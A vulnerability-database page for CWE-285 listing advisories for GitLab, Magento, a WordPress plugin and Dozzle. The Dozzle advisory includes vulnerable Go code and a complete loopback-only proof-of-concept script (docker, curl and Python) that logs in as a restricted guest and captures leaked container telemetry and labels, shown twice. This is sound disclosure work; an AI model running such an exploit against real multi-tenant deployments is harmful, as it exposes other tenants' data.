CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2740 vulnerabilities reference this CWE, most recent first.
GHSA-XC35-M6PJ-P4JM
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:14GitLab EE, versions 8.3 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, is vulnerable to an insecure object reference vulnerability that allows a Guest user to set the weight of an issue they create.
{
"affected": [],
"aliases": [
"CVE-2018-19581"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-10T17:15:00Z",
"severity": "HIGH"
},
"details": "GitLab EE, versions 8.3 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, is vulnerable to an insecure object reference vulnerability that allows a Guest user to set the weight of an issue they create.",
"id": "GHSA-xc35-m6pj-p4jm",
"modified": "2024-04-04T01:14:22Z",
"published": "2022-05-24T16:49:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19581"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ee/issues/7696"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XC5P-773W-M3PM
Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-11 18:22Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and have a low impact on confidentiality and integrity. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.7-beta1"
},
{
"fixed": "2.4.7-p3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.6-p1"
},
{
"fixed": "2.4.6-p8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4-p11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.7"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
}
],
"aliases": [
"CVE-2024-45131"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-11T18:22:44Z",
"nvd_published_at": "2024-10-10T10:15:06Z",
"severity": "MODERATE"
},
"details": "Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and have a low impact on confidentiality and integrity. Exploitation of this issue does not require user interaction.",
"id": "GHSA-xc5p-773w-m3pm",
"modified": "2024-10-11T18:22:44Z",
"published": "2024-10-10T12:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45131"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Magento Open Source Improper Authorization vulnerability"
}
GHSA-XCJX-743R-9W2W
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:37The 2J-SlideShow Plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the 'twoj_slideshow_setup' function called via the wp_ajax_twoj_slideshow_setup AJAX action in versions up to, and including, 1.3.31. This makes it possible for authenticated attackers (Subscriber, or above level access) to allow attackers to perform otherwise restricted actions and subsequently deactivate any plugins on the blog.
{
"affected": [],
"aliases": [
"CVE-2020-36729"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:12Z",
"severity": "MODERATE"
},
"details": "The 2J-SlideShow Plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on the \u0027twoj_slideshow_setup\u0027 function called via the wp_ajax_twoj_slideshow_setup AJAX action in versions up to, and including, 1.3.31. This makes it possible for authenticated attackers (Subscriber, or above level access) to allow attackers to perform otherwise restricted actions and subsequently deactivate any plugins on the blog.",
"id": "GHSA-xcjx-743r-9w2w",
"modified": "2024-04-04T04:37:50Z",
"published": "2023-06-07T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36729"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/wordpress-2j-slideshow-plugin-fixed-authenticated-arbitrary-plugin-deactivation-vulnerability"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2226528%402j-slideshow\u0026new=2226528%402j-slideshow\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-images-slideshow-by-2j-image-slider-security-bypass-1-3-31"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f06d1b9e-e27d-4c43-a69b-7641518e4615?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XCW9-QMMF-VQXJ
Vulnerability from github – Published: 2026-09-24 18:15 – Updated: 2026-09-24 18:15Summary
Dozzle supports per-user label filters in users.yml that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the guest user can only see containers with the label com.example.app … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.
The events stream handler streamEvents (GET /api/events/stream) honors that filter for the initial container list and for the incremental containers-changed updates, but it forwards two other channels — container-stat (live per-container CPU, memory, network and disk telemetry) and container-event (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) — to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription SubscribeEventsAndStats fans out across every Docker client/host and never receives a label filter at all.
As a result, any authenticated user — including one explicitly constrained to a single label scope — receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).
Affected code (v10.6.5)
internal/web/events.go — streamEvents. The handler resolves the caller's userLabels and applies them to the initial list (ListAllContainers(userLabels)) and to the containers-changed increment (ListContainersForHost(event.Host, userLabels)), but forwards container-stat and the raw container-event with no filter check:
h.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed
...
userLabels := h.config.Labels
if h.config.Authorization.Provider != NONE {
user := auth.UserFromContext(r.Context())
if user.ContainerLabels.Exists() {
userLabels = user.ContainerLabels
}
}
allContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct)
...
case stat := <-stats:
if err := sseWriter.Event("container-stat", stat); err != nil { // NOT filtered
...
}
case event, ok := <-events:
...
switch event.Name {
case "start", "die", "destroy", "rename", "pause", "unpause":
if event.Name == "start" || event.Name == "rename" {
if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {
... sseWriter.Event("containers-changed", containers) ... // filtered (correct)
}
}
if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered
...
}
internal/support/docker/multi_host_service.go — SubscribeEventsAndStats subscribes to events and stats from every client with no label filter argument:
func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) {
for _, client := range m.manager.List() {
client.SubscribeEvents(ctx, events)
client.SubscribeStats(ctx, stats)
}
}
The payloads carry the disclosed data. ContainerStat (internal/container/types.go) includes id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal. ContainerEvent includes host, actorId and actorAttributes (a map[string]string), which for start events contains the container name, image, and every label.
Attacker model / precondition
The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (DOZZLE_AUTH_PROVIDER=simple) and at least one user whose filter: restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.
What bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.
Impact
A user constrained to one label scope can continuously enumerate, on every monitored host:
- The existence and identity of every container outside their scope, via
container-eventactorIdplusactorAttributes(container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such assecretproject=acme-payroll). - Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads.
- Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.
In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab only. Requires Docker on the local host. Uses the official amir20/dozzle:v10.6.5 image. It creates one container the guest user is allowed to see (label visible=yes) and one the guest must NOT see (dz_secret, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the container-stat and container-event channels leak the forbidden container's telemetry and metadata.
set -e
WORK=$(mktemp -d); cd "$WORK"; mkdir -p data
# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.
docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml
docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \
--user-filter "label=visible=yes" --user-roles all > guest.yml
python3 - <<'PY'
admin=open("data/users.yml").read()
guest=open("guest.yml").read().split("users:\n",1)[1]
open("data/users.yml","w").write(admin.rstrip()+"\n"+guest)
PY
# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.
docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true
docker run -d --name dz_visible --label visible=yes alpine \
sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null
docker run -d --name dz_secret --label secretproject=acme-payroll alpine \
sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null
# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.
docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
-v "$PWD/data:/data" \
-e DOZZLE_AUTH_PROVIDER=simple \
amir20/dozzle:v10.6.5 >/dev/null
sleep 4
B=http://127.0.0.1:8083
SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret)
VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible)
# 4. Authenticate as the restricted guest.
curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null
# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle
# event on the forbidden container partway through.
( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) &
sleep 3
docker restart dz_secret >/dev/null # generate die/start container-events for dz_secret
wait
# 6. Analyze: the documented filtered channel vs the two leaking channels.
python3 - "$SECRET_ID" "$VIS_ID" <<'PY'
import json,sys
secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]
ev=None; list_ids=set(); stat_ids=set(); evt=[]
secret_stat=None; secret_start_attrs=None
for line in open("guest_events.txt"):
line=line.rstrip("\n")
if line.startswith("event:"): ev=line[6:].strip()
elif line.startswith("data:"):
try: j=json.loads(line[5:].strip())
except: continue
if ev=="containers-changed" and isinstance(j,list):
for c in j:
if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"])
elif ev=="container-stat" and isinstance(j,dict):
if j.get("id"): stat_ids.add(j["id"])
if j.get("id")==s12: secret_stat=j
elif ev=="container-event" and isinstance(j,dict):
evt.append((j.get("name"),j.get("actorId")))
if j.get("actorId")==s12 and j.get("actorAttributes"):
secret_start_attrs=j["actorAttributes"]
print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===")
print(" containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids))
print(" secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)")
print()
print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===")
print(" distinct containers in stat stream:", len(stat_ids))
print(" secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)")
if secret_stat: print(" leaked dz_secret stat payload:", json.dumps(secret_stat))
print()
print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===")
print(" lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12])
if secret_start_attrs: print(" leaked dz_secret attributes:", json.dumps(secret_start_attrs))
PY
# 7. Cleanup.
docker rm -f dz_visible dz_secret dozzle_lab >/dev/null
cd /; rm -rf "$WORK"
Observed output (host details elided; the salient lines):
=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===
containers the guest is authorized to see: 1 -> ['87a94222ba1d']
secret container present?: False (expected False)
=== LEAK CHANNEL 1: container-stat (NOT filtered) ===
distinct containers in stat stream: 10
secret container telemetry leaked?: True (VULN if True)
leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}
=== LEAK CHANNEL 2: container-event (NOT filtered) ===
lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]
leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"}
The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including dz_secret — and leaks dz_secret's name, image and labels (including secretproject=acme-payroll) via lifecycle events. The negative control is the containers-changed/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.
Remediation
Apply the caller's userLabels to the container-stat and container-event channels in streamEvents, exactly as is already done for the container list. Concretely:
- Maintain, per connection, the set of container IDs visible under the caller's
userLabels(it is already computed for the initial list and refreshed oncontainers-changed), and drop anycontainer-statwhoseidis not in that set before callingsseWriter.Event("container-stat", ...). - For each
container-event, resolve the event's container underuserLabels(e.g. viaFindContainer(event.Host, event.ActorID, userLabels)on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for thecontainer-updatedandcontainer-healthbranches, which carryactorId/container data for arbitrary containers. - Alternatively/additionally, push the label filter down into
SubscribeEventsAndStatsso the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring howSubscribeContainersStartedalready takes aContainerFilter. - Add regression tests asserting that a user with
filter: label=visible=yesreceivescontainer-statandcontainer-eventonly for matching containers, even when other containers are active on the host.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/amir20/dozzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1-0.20260622172006-19c01e0fb491"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62286"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T18:15:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nDozzle supports per-user label filters in `users.yml` that are documented as an access-control boundary: \"Filters are used to restrict the containers that a user can see\" and \"the `guest` user can only see containers with the label `com.example.app` \u2026 useful for restricting access to specific containers\" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.\n\nThe events stream handler `streamEvents` (GET `/api/events/stream`) honors that filter for the initial container list and for the incremental `containers-changed` updates, but it forwards two other channels \u2014 `container-stat` (live per-container CPU, memory, network and disk telemetry) and `container-event` (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container\u0027s full attribute/label set) \u2014 to every authenticated client unconditionally, with no comparison against the caller\u0027s label filter. The upstream subscription `SubscribeEventsAndStats` fans out across every Docker client/host and never receives a label filter at all.\n\nAs a result, any authenticated user \u2014 including one explicitly constrained to a single label scope \u2014 receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container\u0027s name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).\n\n## Affected code (v10.6.5)\n\n`internal/web/events.go` \u2014 `streamEvents`. The handler resolves the caller\u0027s `userLabels` and applies them to the initial list (`ListAllContainers(userLabels)`) and to the `containers-changed` increment (`ListContainersForHost(event.Host, userLabels)`), but forwards `container-stat` and the raw `container-event` with no filter check:\n\n```go\nh.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed\n...\nuserLabels := h.config.Labels\nif h.config.Authorization.Provider != NONE {\n user := auth.UserFromContext(r.Context())\n if user.ContainerLabels.Exists() {\n userLabels = user.ContainerLabels\n }\n}\nallContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct)\n...\ncase stat := \u003c-stats:\n if err := sseWriter.Event(\"container-stat\", stat); err != nil { // NOT filtered\n ...\n }\ncase event, ok := \u003c-events:\n ...\n switch event.Name {\n case \"start\", \"die\", \"destroy\", \"rename\", \"pause\", \"unpause\":\n if event.Name == \"start\" || event.Name == \"rename\" {\n if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {\n ... sseWriter.Event(\"containers-changed\", containers) ... // filtered (correct)\n }\n }\n if err := sseWriter.Event(\"container-event\", event); err != nil { // NOT filtered\n ...\n }\n```\n\n`internal/support/docker/multi_host_service.go` \u2014 `SubscribeEventsAndStats` subscribes to events and stats from every client with no label filter argument:\n\n```go\nfunc (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan\u003c- container.ContainerEvent, stats chan\u003c- container.ContainerStat) {\n for _, client := range m.manager.List() {\n client.SubscribeEvents(ctx, events)\n client.SubscribeStats(ctx, stats)\n }\n}\n```\n\nThe payloads carry the disclosed data. `ContainerStat` (internal/container/types.go) includes `id`, `cpu`, `memory`, `memoryUsage`, `networkRxTotal`, `networkTxTotal`, `diskReadTotal`, `diskWriteTotal`. `ContainerEvent` includes `host`, `actorId` and `actorAttributes` (a `map[string]string`), which for `start` events contains the container name, image, and every label.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (`DOZZLE_AUTH_PROVIDER=simple`) and at least one user whose `filter:` restricts them to a subset of containers \u2014 the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account\u0027s filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.\n\nWhat bounds severity: the disclosure is limited to container metadata and resource telemetry \u2014 it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.\n\n## Impact\n\nA user constrained to one label scope can continuously enumerate, on every monitored host:\n\n- The existence and identity of every container outside their scope, via `container-event` `actorId` plus `actorAttributes` (container name, image name, and the full label map \u2014 which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as `secretproject=acme-payroll`).\n- Live operational telemetry for those containers \u2014 CPU%, memory% and bytes, network RX/TX totals, disk read/write totals \u2014 updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants\u0027 workloads.\n- Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.\n\nIn a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab only. Requires Docker on the local host. Uses the official `amir20/dozzle:v10.6.5` image. It creates one container the `guest` user is allowed to see (label `visible=yes`) and one the guest must NOT see (`dz_secret`, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the `container-stat` and `container-event` channels leak the forbidden container\u0027s telemetry and metadata.\n\n```bash\nset -e\nWORK=$(mktemp -d); cd \"$WORK\"; mkdir -p data\n\n# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.\ndocker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin \u003e data/users.yml\ndocker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \\\n --user-filter \"label=visible=yes\" --user-roles all \u003e guest.yml\npython3 - \u003c\u003c\u0027PY\u0027\nadmin=open(\"data/users.yml\").read()\nguest=open(\"guest.yml\").read().split(\"users:\\n\",1)[1]\nopen(\"data/users.yml\",\"w\").write(admin.rstrip()+\"\\n\"+guest)\nPY\n\n# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.\ndocker rm -f dz_visible dz_secret dozzle_lab 2\u003e/dev/null || true\ndocker run -d --name dz_visible --label visible=yes alpine \\\n sh -c \u0027while true; do echo \"visible-log $(date)\"; sleep 2; done\u0027 \u003e/dev/null\ndocker run -d --name dz_secret --label secretproject=acme-payroll alpine \\\n sh -c \u0027while true; do echo \"SECRET-log $(date)\"; sleep 2; done\u0027 \u003e/dev/null\n\n# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.\ndocker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \\\n -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n -v \"$PWD/data:/data\" \\\n -e DOZZLE_AUTH_PROVIDER=simple \\\n amir20/dozzle:v10.6.5 \u003e/dev/null\nsleep 4\n\nB=http://127.0.0.1:8083\nSECRET_ID=$(docker inspect -f \u0027{{.Id}}\u0027 dz_secret)\nVIS_ID=$(docker inspect -f \u0027{{.Id}}\u0027 dz_visible)\n\n# 4. Authenticate as the restricted guest.\ncurl -s -c guest.cookies -X POST \"$B/api/token\" -d \u0027username=guest\u0027 -d \u0027password=guestpass\u0027 -o /dev/null\n\n# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle\n# event on the forbidden container partway through.\n( timeout 10 curl -s -N -b guest.cookies \"$B/api/events/stream\" \u003e guest_events.txt 2\u003e/dev/null ) \u0026\nsleep 3\ndocker restart dz_secret \u003e/dev/null # generate die/start container-events for dz_secret\nwait\n\n# 6. Analyze: the documented filtered channel vs the two leaking channels.\npython3 - \"$SECRET_ID\" \"$VIS_ID\" \u003c\u003c\u0027PY\u0027\nimport json,sys\nsecret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]\nev=None; list_ids=set(); stat_ids=set(); evt=[]\nsecret_stat=None; secret_start_attrs=None\nfor line in open(\"guest_events.txt\"):\n line=line.rstrip(\"\\n\")\n if line.startswith(\"event:\"): ev=line[6:].strip()\n elif line.startswith(\"data:\"):\n try: j=json.loads(line[5:].strip())\n except: continue\n if ev==\"containers-changed\" and isinstance(j,list):\n for c in j:\n if isinstance(c,dict) and c.get(\"id\"): list_ids.add(c[\"id\"])\n elif ev==\"container-stat\" and isinstance(j,dict):\n if j.get(\"id\"): stat_ids.add(j[\"id\"])\n if j.get(\"id\")==s12: secret_stat=j\n elif ev==\"container-event\" and isinstance(j,dict):\n evt.append((j.get(\"name\"),j.get(\"actorId\")))\n if j.get(\"actorId\")==s12 and j.get(\"actorAttributes\"):\n secret_start_attrs=j[\"actorAttributes\"]\nprint(\"=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\")\nprint(\" containers the guest is authorized to see:\", len(list_ids), \"-\u003e\", sorted(x[:12] for x in list_ids))\nprint(\" secret container present?:\", s12 in {x[:12] for x in list_ids}, \"(expected False)\")\nprint()\nprint(\"=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\")\nprint(\" distinct containers in stat stream:\", len(stat_ids))\nprint(\" secret container telemetry leaked?:\", s12 in {x[:12] for x in stat_ids}, \"(VULN if True)\")\nif secret_stat: print(\" leaked dz_secret stat payload:\", json.dumps(secret_stat))\nprint()\nprint(\"=== LEAK CHANNEL 2: container-event (NOT filtered) ===\")\nprint(\" lifecycle events leaked for dz_secret:\", [e for e in evt if e[1]==s12])\nif secret_start_attrs: print(\" leaked dz_secret attributes:\", json.dumps(secret_start_attrs))\nPY\n\n# 7. Cleanup.\ndocker rm -f dz_visible dz_secret dozzle_lab \u003e/dev/null\ncd /; rm -rf \"$WORK\"\n```\n\nObserved output (host details elided; the salient lines):\n\n```\n=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\n containers the guest is authorized to see: 1 -\u003e [\u002787a94222ba1d\u0027]\n secret container present?: False (expected False)\n\n=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\n distinct containers in stat stream: 10\n secret container telemetry leaked?: True (VULN if True)\n leaked dz_secret stat payload: {\"id\": \"9ec5e9a970d9\", \"cpu\": 0, \"memory\": 0.00228, \"memoryUsage\": 487424, \"networkRxTotal\": 2444, \"networkTxTotal\": 126, \"diskReadTotal\": 0, \"diskWriteTotal\": 0}\n\n=== LEAK CHANNEL 2: container-event (NOT filtered) ===\n lifecycle events leaked for dz_secret: [(\u0027die\u0027, \u00279ec5e9a970d9\u0027), (\u0027start\u0027, \u00279ec5e9a970d9\u0027)]\n leaked dz_secret attributes: {\"env\": \"prod\", \"image\": \"nginx:alpine\", \"name\": \"dz_secret\", \"secretproject\": \"acme-payroll\"}\n```\n\nThe guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers \u2014 including `dz_secret` \u2014 and leaks `dz_secret`\u0027s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.\n\n## Remediation\n\nApply the caller\u0027s `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely:\n\n- Maintain, per connection, the set of container IDs visible under the caller\u0027s `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event(\"container-stat\", ...)`.\n- For each `container-event`, resolve the event\u0027s container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers.\n- Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller\u0027s filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`.\n- Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-xcw9-qmmf-vqxj",
"modified": "2026-09-24T18:15:10Z",
"published": "2026-09-24T18:15:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/security/advisories/GHSA-xcw9-qmmf-vqxj"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/pull/4803"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/commit/19c01e0fb491c170796edba3da2692562c204e77"
},
{
"type": "PACKAGE",
"url": "https://github.com/amir20/dozzle"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/releases/tag/v10.6.7"
}
],
"schema_version": "1.4.0",
